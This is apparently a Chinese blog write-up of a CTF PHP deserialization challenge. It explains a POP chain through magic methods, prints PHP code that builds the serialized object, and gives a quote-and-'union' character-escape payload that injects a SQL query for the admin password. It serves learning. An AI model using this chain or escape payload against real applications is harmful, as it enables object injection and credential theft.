基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路

https://www.cnblogs.com/tiaopidejun/p/12345080.html

这道题自己搞一下:

主要是构造pop链,

大概的思路,如果找到序列化和反序列化的点,跟进调用的方法,在源码中寻找可以被我们利用getshell的点。

开始:

先是发现

跟进getNewInfo

发现update调用,继续跟进UpdateHelper

发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString

找一下有没有__toString

但是这个没有什么利用点

但我们发现有个call可以被我们利用

总结pop链思路:
Up类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询

构造pop链:

如何构造pop链----学习链接:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

<?php
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
}
class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name='admin';
    public $password;
    public $mysqli;
    public $token;
}
$a=new dbCtrl();
$b=new Info('','1');
$c=new User();
$d=new UpdateHelper();
$a->token='admin';
$b->CtrlCase=$a;
$c->nickname=$b;
$c->age="select password,id from user where username=?";
$d->sql=$c;
echo serialize($d);
?>

最后根据safe那个函数的规格,再构造出逃逸字符的payload

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

原本构造出的字符数是453,所以可以选择90个 '  和3个union 达到让payload逃逸出来.....

这个题学到不少东西,尤其是pop链构造....,感觉主要还是要理顺整个利用的过程.

最新文章

  1. 安全测试 - SQL注入
  2. Mysql与PostgreSql数据库学习笔记---打酱油的日子
  3. yii自动登录
  4. java配置数据库连接池的方法步骤
  5. js&amp;html5实现消星星游戏
  6. 使用JAVA直观感受快速排序与冒泡排序的性能差异
  7. ngRoute 路由
  8. 性能调优案例分享:Mysql的cpu过高
  9. CSS3 [attribute^=value] 选择器
  10. java面试总结
  11. Windows下配置eclipse写WordCount
  12. Spring之BeanPostProcessor(后置处理器)介绍
  13. BZOJ 1874: [BeiJing2009 WinterCamp]取石子游戏(SG函数)
  14. ComputeShader中Counter类型的使用
  15. tcp的发送端一个小包就能打破对端的delay_ack么?
  16. Oracle的简单的创建dblink以及进行数据迁移的方法
  17. rsync命令
  18. git: error while loading shared libraries: libiconv.so.2
  19. Java中Calendar.DAY_OF_WEEK需要减一的原因
  20. SQLite Mysql 模糊查找(like)

热门文章

  1. wp8.1 学习笔记 001 动态生成图片 并更改图片位置
  2. IP unnumbered interface,某个接口不编号,某个接口不分配IP地址
  3. [Linux-CentOS7]yum清华源CentOS7
  4. 1236 - Pairs Forming LCM
  5. React之拆分组件与组件之间的传值
  6. C#后台异步消息队列实现
  7. Android中点击按钮获取星级评分条的评分
  8. 2019-2020-2 20175121杨波《网络对抗技术》第一周kali的安装
  9. Linux_simpl shell-利用Shell脚本for循环输出系统中的用户及其Shell
  10. 为什么选择Spring Boot?